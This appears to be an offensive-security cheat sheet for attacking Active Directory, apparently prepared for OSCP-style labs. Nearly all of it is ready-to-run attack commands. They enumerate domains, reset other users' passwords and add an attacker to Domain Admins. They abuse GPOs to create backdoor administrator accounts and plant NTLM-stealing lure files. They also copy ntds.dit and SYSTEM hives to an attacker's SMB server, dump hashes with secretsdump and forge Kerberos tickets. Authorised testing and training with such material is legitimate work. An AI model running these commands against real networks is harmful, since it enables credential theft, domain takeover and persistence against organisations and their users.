π This file focuses on AD Enumeration, ACL Abuse, GPO Abuse, Persistence, and AD CS attacks. For specific attack techniques, see the dedicated files linked below.
- Quick Reference - Attack Types
- Enumeration
- NTLM Relay & Poisoning
- ACL Abuse
- GPO Abuse
- NTLM Theft
- Kerberos Attacks & Credential Harvesting
- Persistence
- AD CS (Certificate Services)
- Defense Evasion
- Impacket Tools Quick Reference
- AD Attack Quick Reference
- See Also
# Quick AD enumeration
nxc smb $rhost -u '' -p '' && ldapsearch -x -H ldap://$rhost -b "" namingContexts && nxc smb $rhost -u $user -p $pass --users| Attack Category | Dedicated File | Key Techniques |
|---|---|---|
| Kerberos Attacks | 3.3.Kerberos-Attacks.md | ASREPRoast, Kerberoasting, Golden/Silver Ticket, DCSync, Delegation |
| NTLM Attacks | 3.4.NTLM-Relay-and-Responder.md | Responder, NTLM Relay, Pass-the-Hash, SMB Relay |
| Password Attacks | 3.2.Password-Attacks.md | hashcat, mimikatz, Credential Dumping, Hash Cracking |
| AD Critical CVEs | CVE-Exploit | ZeroLogon, noPac, Certifried |
| CVE | Name | One-liner Detection |
|---|---|---|
| CVE-2020-1472 | ZeroLogon | nxc smb $rhost -u '' -p '' -M zerologon |
| CVE-2021-42278/42287 | noPac | nxc smb $rhost -u '$user' -p '$pass' -M nopac |
| CVE-2022-26923 | Certifried | Requires AD CS - check with certipy find |
| CVE-2021-34527 | PrintNightmare | rpcdump.py $rhost | grep MS-RPRN |
π For full exploitation commands, see CVE-Exploit - Windows/AD
net user /domain
net user <USERNAME> /domain
net group /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domainGet-ADUser -Filter *
Get-ADUser -Identity <USERNAME> -Properties *
Get-ADGroup -Filter *
Get-ADGroupMember "Domain Admins"
Get-ADComputer -Filter * -Properties *Install:
sudo apt install ldap-utils
# Check if anonymous bind is allowed
ldapsearch -x -H ldap://$rhost -b "DC=domain,DC=local" -s base namingcontexts
# Enumerate with anonymous bind
ldapsearch -x -H ldap://$rhost -b "DC=domain,DC=local" "(objectClass=*)"# List all users
ldapsearch -LLL -x -H ldap://$rhost -D "DOMAIN\user" -w "password" \
-b "dc=domain,dc=local" -s sub "(objectClass=user)" sAMAccountName
# Users with description (may contain passwords!)
ldapsearch -LLL -x -H ldap://$rhost -D "DOMAIN\user" -w "password" \
-b "dc=domain,dc=local" -s sub \
"(&(objectClass=user)(Description=*))" \
sAMAccountName cn Description memberOf
# Find Domain Admins
ldapsearch -LLL -x -H ldap://$rhost -D "DOMAIN\user" -w "password" \
-b "dc=domain,dc=local" \
"(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=local)" \
sAMAccountName
# Find computers
ldapsearch -LLL -x -H ldap://$rhost -D "DOMAIN\user" -w "password" \
-b "dc=domain,dc=local" "(objectClass=computer)" \
name operatingSystem operatingSystemVersion
# Find SPNs (for Kerberoasting)
ldapsearch -LLL -x -H ldap://$rhost -D "DOMAIN\user" -w "password" \
-b "dc=domain,dc=local" \
"(&(objectClass=user)(servicePrincipalName=*))" \
sAMAccountName servicePrincipalName
# Users with no pre-auth (ASREPRoast)
ldapsearch -LLL -x -H ldap://$rhost -D "DOMAIN\user" -w "password" \
-b "dc=domain,dc=local" \
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
sAMAccountName# Install
pip install ldapdomaindump
# Dump all AD information
ldapdomaindump -u 'DOMAIN\user' -p 'password' ldap://$rhost -o ldap_dump/
# Creates HTML reports for easy viewing
firefox ldap_dump/domain_users.htmlhttps://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
powershell -ep bypass
. .\PowerView.ps1Get-NetDomain
Get-NetDomainController
Get-DomainPolicyGet-NetUser
Get-NetUser | select cn,pwdlastset,lastlogon
Get-NetUser -SPN | select samaccountname,serviceprincipalnameGet-NetGroup | select cn
Get-NetGroup "Domain Admins" | select member
Get-NetGroupMember "Domain Admins"Get-NetComputer
Get-NetComputer | select operatingsystem,dnshostnameFind-DomainShare
Find-DomainShare -CheckShareAccessGet-ObjectAcl -Identity <USERNAME>
Get-ObjectAcl -Identity "Domain Admins" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRightsFind-LocalAdminAccessbloodhound-python -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' -dc '<RHOST>' -ns '<RHOST>' -c all --zip
bloodhound-python -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' -dc '<RHOST>' -ns '<RHOST>' --dns-tcp -c all --zip.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername <USERNAME> --ldappassword <PASSWORD>enum4linux-ng $rhost
enum4linux-ng -A $rhost
enum4linux-ng -u '<USERNAME>' -p '<PASSWORD>' $rhostπ Moved to dedicated file: NTLM Relay & Responder
Covers: Responder setup, NTLM Relay attack, SMB Relay, Pass-the-Hash, NTLMv2 cracking, and mitigation.
Allows password reset, force change password, and read LAPS password
Look for: "AllExtendedRights" edge in BloodHound graph
# Find users with AllExtendedRights on other objects
Get-ObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "ExtendedRight" } | select ObjectDN, SecurityIdentifier, ActiveDirectoryRights
# Check specific user
Get-ObjectAcl -Identity "TargetUser" -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "ExtendedRight" }# Using net rpc (from Kali)
net rpc password "target_user" 'NewPassword123!' -U "domain/attacker_user%password" -S $dc_ip
# Verify new credentials
nxc winrm $rhost -u 'target_user' -p 'NewPassword123!' -d domain# Using PowerView
Set-DomainUserPassword -Identity TargetUser -AccountPassword (ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force) -Verbose
# Using net command
net user TargetUser NewPassword123! /domainFull control over object - can reset password, modify attributes, etc.
Get-ObjectAcl -Identity "TargetUser" -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "GenericAll|GenericWrite" }# Add user to Domain Admins
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'AttackerUser' -Verbose# Set fake SPN on user for Kerberoasting
Set-DomainObject -Identity TargetUser -SET @{serviceprincipalname='nonexistent/YOURSERVICENAME'}
# Now Kerberoast that user
Get-DomainUser TargetUser | Get-DomainSPNTicket | select -expand HashCan modify ACL to give yourself more permissions
# Grant yourself GenericAll
Add-ObjectAcl -TargetIdentity TargetUser -PrincipalIdentity AttackerUser -Rights AllCan reset password without knowing current password
# Using rpcclient
rpcclient -U 'attacker_user%password' $dc_ip
rpcclient $> setuserinfo2 target_user 23 'NewPassword123!'Abuse Group Policy Object permissions to escalate privileges.
# Using PowerView
Get-GPPermission -Name "Default Domain Policy" -All
# Find GPOs where user has GpoEditDeleteModifySecurity
Get-NetGPO | % { Get-ObjectAcl -ResolveGUIDs -Name $_.Name } | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericAll|GenericWrite" }# Add current user to local Administrators group on all machines affected by GPO
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount CurrentUser --GPOName "Default Domain Policy"
# Force GPO update
gpupdate /force# Create scheduled task that runs as SYSTEM
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Backdoor" --Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" --Arguments "/c net user backdoor Password123! /add && net localgroup administrators backdoor /add" --GPOName "Vulnerable GPO"# Grant SeDebugPrivilege to user
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeDebugPrivilege" --UserAccount AttackerUser --GPOName "Target GPO"# Install
pip install pygpoabuse
# Add scheduled task (runs as SYSTEM)
python3 pygpoabuse.py $domain/$user:$pass -gpo-id <GPO-GUID> -command "net user hacker Password123! /add && net localgroup administrators hacker /add" -dc-ip $rhost
# Add local admin
python3 pygpoabuse.py $domain/$user:$pass -gpo-id <GPO-GUID> -localadmin -dc-ip $rhost# List all GPOs
Get-GPO -All
# Get GPO details
Get-GPOReport -Name "Default Domain Policy" -ReportType Html -Path "gpo_report.html"
# Find writable GPOs with BloodHound
MATCH (u:User {name:"ATTACKER@DOMAIN.COM"})-[r:GenericWrite|GenericAll|WriteProperty|Owns]->(g:GPO) RETURN u,r,gGenerate files that trigger NTLM authentication when opened/accessed.
python3 ntlm_theft.py -g all -s $lhost -f TriggerFile# LNK file (shortcut) - triggers when folder is browsed
python3 ntlm_theft.py -g lnk -s $lhost -f Important
# SCF file (Shell Command File)
python3 ntlm_theft.py -g scf -s $lhost -f Important
# URL file
python3 ntlm_theft.py -g url -s $lhost -f Important
# Office documents
python3 ntlm_theft.py -g docx -s $lhost -f Important
python3 ntlm_theft.py -g xlsx -s $lhost -f Important# Upload .lnk to writable SMB share
smbclient -N //target/ShareName
smb: \> put Important.lnk# Start Responder before uploading
sudo responder -I tun0
# When user browses share, NTLMv2 hash is capturedWindows-based LLMNR/NBT-NS poisoner - See also: NTLM Relay & Responder
# Import module
Import-Module .\Inveigh.ps1
# Start capturing
Invoke-Inveigh -FileOutput Y -FileOutputDirectory C:\Temp\π Moved to dedicated file: Kerberos Attacks
Covers: ASREPRoast, Kerberoasting, Golden Ticket, Silver Ticket, DCSync, Constrained/Unconstrained Delegation, Pass the Ticket, Overpass the Hash
Extract NTDS.dit from Domain Controller via Volume Shadow Copy
# Connect to DC as Domain Admin
vssadmin Create Shadow /For=C: /AutoRetry=2
# Note the shadow copy device name (e.g., \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2)# Copy NTDS.dit from shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak
# Export SYSTEM hive (required for decryption)
reg.exe save hklm\system c:\system.bak# Setup SMB server on Kali
impacket-smbserver kali . -username kali -password kali -smb2support
# From DC, copy files to attacker
# net use \\$lhost\kali /user:kali kali
# copy c:\ntds.dit.bak \\$lhost\kali\
# copy c:\system.bak \\$lhost\kali\
# Extract hashes
impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL# Extract all hashes remotely using VSS
impacket-secretsdump -just-dc $domain/<USERNAME>:<PASSWORD>@$rhost -use-vss
# Extract specific user
impacket-secretsdump -just-dc-user Administrator $domain/<USERNAME>:<PASSWORD>@$rhost
# With hash authentication
impacket-secretsdump -just-dc $domain/<USERNAME>@$rhost -hashes :<NTLM_HASH># Dump NTDS
nxc smb $rhost -u '<USERNAME>' -p '<PASSWORD>' -d $domain --ntds
# With hash
nxc smb $rhost -u '<USERNAME>' -H '<NTLM_HASH>' -d $domain --ntdscertipy find -u '<USERNAME>@$domain' -p '<PASSWORD>' -dc-ip $rhost -vulnerable -stdoutcertipy req -ca '<CA>' -username '<USERNAME>@$domain' -password '<PASSWORD>' -target '<CA>' -template '<TEMPLATE>' -upn 'Administrator@$domain'
certipy auth -pfx Administrator.pfx -dc-ip $rhostcertipy template -username '<USERNAME>@$domain' -password '<PASSWORD>' -template '<TEMPLATE>' -save-old
certipy req -ca '<CA>' -username '<USERNAME>@$domain' -password '<PASSWORD>' -target $rhost -template '<TEMPLATE>' -upn 'Administrator@$domain'
certipy auth -pfx Administrator.pfx -dc-ip $rhostcertipy relay -target 'http://<CA>'
python3 PetitPotam.py $rhost $domain
certipy auth -pfx dc.pfx -dc-ip $rhostπ Moved to Windows Command - Defense Evasion
Covers: AMSI Bypass, ETW Bypass, Script Block Logging Bypass, AppLocker Bypass
π For detailed Impacket usage in lateral movement context, see Lateral Movement
impacket-secretsdump $domain/<USERNAME>@$rhost
impacket-secretsdump -dc-ip $rhost $domain/<USERNAME>:<PASSWORD>@$rhost
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL
impacket-secretsdump -ntds ntds.dit -system system LOCALimpacket-psexec <USERNAME>@$rhost
impacket-psexec $domain/Administrator@$rhost -hashes :<NTLM_HASH>impacket-wmiexec $domain/<USERNAME>:<PASSWORD>@$rhost
impacket-wmiexec -hashes :<NTLM_HASH> Administrator@$rhostimpacket-smbexec $domain/<USERNAME>:<PASSWORD>@$rhostimpacket-getTGT $domain/<USERNAME>:<PASSWORD>
impacket-getTGT $domain/<USERNAME> -hashes :<NTLM_HASH>
export KRB5CCNAME=<USERNAME>.ccacheimpacket-GetUserSPNs $domain/<USERNAME>:<PASSWORD> -dc-ip $rhost -requestimpacket-GetNPUsers $domain/ -usersfile users.txt -format hashcat -outputfile hashes.asreproastimpacket-addcomputer -dc-ip $rhost -computer-name FAKEPC -computer-pass 'Password123!' $domain/<USERNAME>:<PASSWORD>| Access Level | Available Attacks |
|---|---|
| Domain User + DC Reachable | PowerView enumeration, BloodHound, ACL enumeration, Domain shares, Password spraying, AS-REP Roasting, Kerberoasting |
| Local Admin on Domain Machine | Cached credentials (secretsdump), mimikatz, LSASS dump |
| Domain Admin + DC Reachable | DCSync, NTDS.dit extraction, Golden Ticket creation |
| User NTLM Hash | Pass the Hash, Silver Ticket (if SPN hash), WMI/WinRM/PsExec |
π See also: Lateral Movement - Pass the Hash | Kerberos Attacks - Golden Ticket
| Attack | When to Use | Command |
|---|---|---|
| Pass the Hash | Have NTLM hash, need shell | impacket-psexec -hashes :<HASH> user@target |
| Overpass the Hash | Have NTLM, need Kerberos ticket | sekurlsa::pth /ntlm:<HASH> /run:powershell |
| Pass the Ticket | Have .kirbi or .ccache ticket | kerberos::ptt ticket.kirbi |
| Silver Ticket | Have service account hash | kerberos::golden /service:http /rc4:<HASH> |
| Golden Ticket | Have krbtgt hash (persistence) | kerberos::golden /krbtgt:<HASH> /ptt |
- Password Attacks - Credential cracking, extraction, and hash attacks
- Kerberos Attacks - ASREPRoast, Kerberoasting, Golden/Silver Tickets, DCSync, Constrained Delegation β
- NTLM Relay & Responder - Responder setup, NTLM Relay, Pass-the-Hash β
- AD CS Attacks - Certipy, ESC1-ESC8, PassTheCert, PKINIT, Golden Certificate β
- Shadow Credentials - pyWhisker, Whisker, msDS-KeyCredentialLink β
- Kerberos Delegation - Constrained/RBCD Delegation, S4U Attack Chain β
- Lateral Movement - PsExec, WMI, WinRM, PTH, PTT techniques
- Pivoting & Tunneling - Chisel, Ligolo-ng, ProxyChains
- Ligolo-ng Complete Guide - Single/multi-hop pivoting, troubleshooting
- Windows Privilege Escalation - SeImpersonate, SeBackup, Registry Credentials
- OSCP Exam Guide - AD Methodology - Complete AD attack workflow
- Lab Walkthrough Examples - HTB Forest, AD Set attack chains
- Exam Tips & Tricks - Enumeration priority, time management